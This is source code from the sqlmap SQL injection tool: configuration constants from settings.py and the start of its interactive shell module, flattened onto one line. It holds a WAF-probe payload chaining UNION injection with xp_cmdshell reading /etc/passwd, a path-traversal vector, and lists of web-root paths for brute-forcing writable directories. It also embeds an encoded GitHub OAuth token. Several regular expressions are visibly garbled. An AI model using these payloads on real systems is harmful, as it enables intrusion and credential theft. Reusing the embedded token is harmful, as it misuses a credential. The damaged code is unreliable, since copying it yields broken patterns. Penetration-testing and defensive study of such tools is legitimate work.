MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) HSQLDB_DEFAULT_SCHEMA = "PUBLIC" # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( "url", "googleDork", "data", "cookie", "randomAgent", "proxy", "testParameter", "dbms", "level", "risk", "tech", "getAll", "getBanner", "getCurrentUser", "getCurrentDb", "getPasswordHashes", "getTables", "getColumns", "getSchema", "dumpTable", "dumpAll", "db", "tbl", "col", "osShell", "osPwn", "batch", "checkTor", "flushSession", "tor", "sqlmapShell", "wizard", ) # Tags used for value replacements inside shell scripts SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" # String representation for NULL value NULL = "NULL" # String representation for blank ('') value BLANK = "" # String representation for current database CURRENT_DB = "CD" # Name of SQLite file used for storing session data SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"in (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"href=['\"]file://(?P/[^'\"]+)") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P.+?)", r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", r"(?P[^\n>]*SQL Syntax[^\n<]+)", r"
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)" ) # Regular expression used for parsing charset info from meta html headers META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?si)(?!.*?]+content="?[^">]+url=["\']?(?P[^\'">]+).*' # Regular expression used for parsing empty fields in tested form data EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P[^=]+=(&|\Z))' # Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") # Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "@") # Splitter used between requests in WebScarab log files WEBSCARAB_SPLITTER = "### Conversation" # Splitter used between requests in BURP log files BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" # Regex used for parsing XML Burp saved history items BURP_XML_HISTORY_REGEX = r'(\d+).+?[^\s=]*%s[^\s]*)\s" # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the inside) SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred") # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 # Minimum value for comparison ratio MIN_RATIO = 0.0 # Maximum value for comparison ratio MAX_RATIO = 1.0 # Minimum length of sentence for automatic choosing of --string (in case of high matching ratio) CANDIDATE_SENTENCE_MIN_LENGTH = 10 # Character used for marking injectable position inside provided data CUSTOM_INJECTION_MARK_CHAR = '*' # Other way to declare injection position INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%' # Minimum chunk length used for retrieving data over error based payloads MIN_ERROR_CHUNK_LENGTH = 8 # Maximum chunk length used for retrieving data over error based payloads MAX_ERROR_CHUNK_LENGTH = 1024 # Do not escape the injected statement if it contains any of the following SQL keywords EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) # Mark used for replacement of reflected values REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" # Regular expression used for replacing border non-alphanum characters REFLECTED_BORDER_REGEX = r"[^A-Za-z]+" # Regular expression used for replacing non-alphanum characters REFLECTED_REPLACEMENT_REGEX = r".+" # Maximum time (in seconds) spent per reflective value(s) replacement REFLECTED_REPLACEMENT_TIMEOUT = 3 # Maximum number of alpha-numerical parts in reflected regex (for speed purposes) REFLECTED_MAX_REGEX_PARTS = 10 # Chars which can be used as a failsafe values in case of too long URL encoding value URLENCODE_FAILSAFE_CHARS = "()|," # Maximum length of URL encoded value after which failsafe procedure takes away URLENCODE_CHAR_LIMIT = 2000 # Default schema for Microsoft SQL Server DBMS DEFAULT_MSSQL_SCHEMA = "dbo" # Display hash attack info every mod number of items HASH_MOD_ITEM_DISPLAY = 11 # Maximum integer value MAX_INT = sys.maxint # Replacement for unsafe characters in dump table filenames UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_' # Options that need to be restored in multiple targets run mode RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") # Parameters to be ignored in detection phase (upper case) IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN") # Regular expression used for recognition of ASP.NET control parameters ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" # Prefix for Google analytics cookie names GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Prefix for configuration overriding environment variables SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" # Turn off resume console info to avoid potential slowdowns TURN_OFF_RESUME_INFO_LIMIT = 20 # Strftime format for results file used in multiple target mode RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv" # Official web page with the list of Python supported codecs CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings" # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" # Option/switch values to ignore during configuration save IGNORE_SAVE_OPTIONS = ("saveConfig",) # IP address of the localhost LOCALHOST = "127.0.0.1" # Default SOCKS ports used by Tor DEFAULT_TOR_SOCKS_PORTS = (9050, 9150) # Default HTTP ports used by Tor DEFAULT_TOR_HTTP_PORTS = (8123, 8118) # Percentage below which comparison engine could have problems LOW_TEXT_PERCENT = 20 # These MySQL keywords can't go (alone) into versioned comment form (/*!...*/) # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM") # Keywords expected to be in UPPERCASE in getValue() GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT") LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program" # After this number of misses reflective removal mechanism is turned off (for speed up reasons) REFLECTIVE_MISS_THRESHOLD = 20 # Regular expression used for extracting HTML title HTML_TITLE_REGEX = "(?P<result>[^<]+)" # Table used for Base64 conversion in WordPress hash cracking routine ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, types.IntType, types.ListType, types.LongType, types.NoneType, types.StringType, types.TupleType, types.UnicodeType, types.XRangeType, type(AttribDict()), type(set())) # Chars used to quickly distinguish if the user provided tainted parameter values DUMMY_SQL_INJECTION_CHARS = ";()'" # Simple check against dummy users DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b" # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx") # Patterns often seen in HTTP headers containing custom injection marking character '*' PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" # Template used for common column existence check BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" # Payload used for checking of existence of IDS/IPS/WAF (dummier the better) IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # Generic address for checking the Internet connection while using switch --check-internet CHECK_INTERNET_ADDRESS = "https://ipinfo.io/" # Value to look for in response to CHECK_INTERNET_ADDRESS CHECK_INTERNET_VALUE = "IP Address Details" # Vectors used for provoking specific WAF/IPS/IDS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL "search=", "file=../../../../etc/passwd", "q=foobar", "id=1 %s" % IDS_WAF_CHECK_PAYLOAD ) # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) BIGARRAY_COMPRESS_LEVEL = 9 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 # Reference: https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 # Maximum number of times for revalidation of a character in inference (as required) MAX_REVALIDATION_STEPS = 5 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" # Regular expression describing possible union char value (e.g. used in --union-char) UNION_CHAR_REGEX = r"\A\w+\Z" # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser") # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' # Default delimiter in cookie values DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ==" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 # Number of retries for unsuccessful HashDB retrieve attempts HASHDB_RETRIEVE_RETRIES = 3 # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 # On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 10000 # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') # Minor artistic touch BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 # Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 # Mark used for trimming unnecessary content in large chunks LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation GENERIC_SQL_COMMENT = "-- [RANDSTR]" # Threshold value for turning back on time auto-adjustment mechanism VALID_TIME_CHARS_RUN_THRESHOLD = 100 # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 # Maximum number of connection retries (to prevent problems with recursion) MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' # Regular expression used for extracting ASP.NET event validation values EVENTVALIDATION_REGEX = r'(?i)(?P__EVENTVALIDATION[^"]*)[^>]+value="(?P[^"]+)' # Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems) LIMITED_ROWS_TEST_NUMBER = 15 # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" # Default REST-JSON API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" # Default REST-JSON API server listen port RESTAPI_DEFAULT_PORT = 8775 # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" # Raw text POST data content-type PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8" # Length used while checking for existence of Suhosin-patch (like) protection mechanism SUHOSIN_MAX_VALUE_LENGTH = 512 # Minimum size of an (binary) entry before it can be considered for dumping to disk MIN_BINARY_DISK_DUMP_SIZE = 100 # Filenames of payloads xml files (in order of loading) PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml") # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" # Maximum number of lines to save in history file MAX_HISTORY_LENGTH = 1000 # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized METASPLOIT_SESSION_TIMEOUT = 120 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 # Suffix used to mark variables having keyword names EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" sqlmap-1.2.4/lib/core/shell.py000066400000000000000000000074511326012263700162030ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import atexit import os from lib.core import readlineng as readline from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS from lib.core.settings import MAX_HISTORY_LENGTH try: import rlcompleter class CompleterNG(rlcompleter.Completer): def global_matches(self, text): """ Compute matches when text is a simple name. Return a list of all names currently defined in self.namespace that match. """ matches = [] n = len(text) for ns in (self.namespace,): for word in ns: if word[:n] == text: matches.append(word) return matches except: readline._readline = None def readlineAvailable(): """ Check if the readline is available. By default it is not in Python default installation on Windows """ return readline._readline is not None def clearHistory(): if not readlineAvailable(): return readline.clear_history() def saveHistory(completion=None): if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY try: with open(historyPath, "w+"): pass except: pass readline.set_history_length(MAX_HISTORY_LENGTH) try: readline.write_history_file(historyPath) except IOError, msg: warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) logger.warn(warnMsg) def loadHistory(completion=None): if not readlineAvailable(): return clearHistory() if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: readline.read_history_file(historyPath) except IOError, msg: warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg) logger.warn(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.OS: if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "copy": None, "del": None, "dir": None, "echo": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, "ver": None, "xcopy": None, "whoami": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ "cp": None, "rm": None, "ls": None, "echo": None, "mkdir": None, "free": None, "mv": None, "ifconfig": None, "netstat -natu": None, "pwd": None, 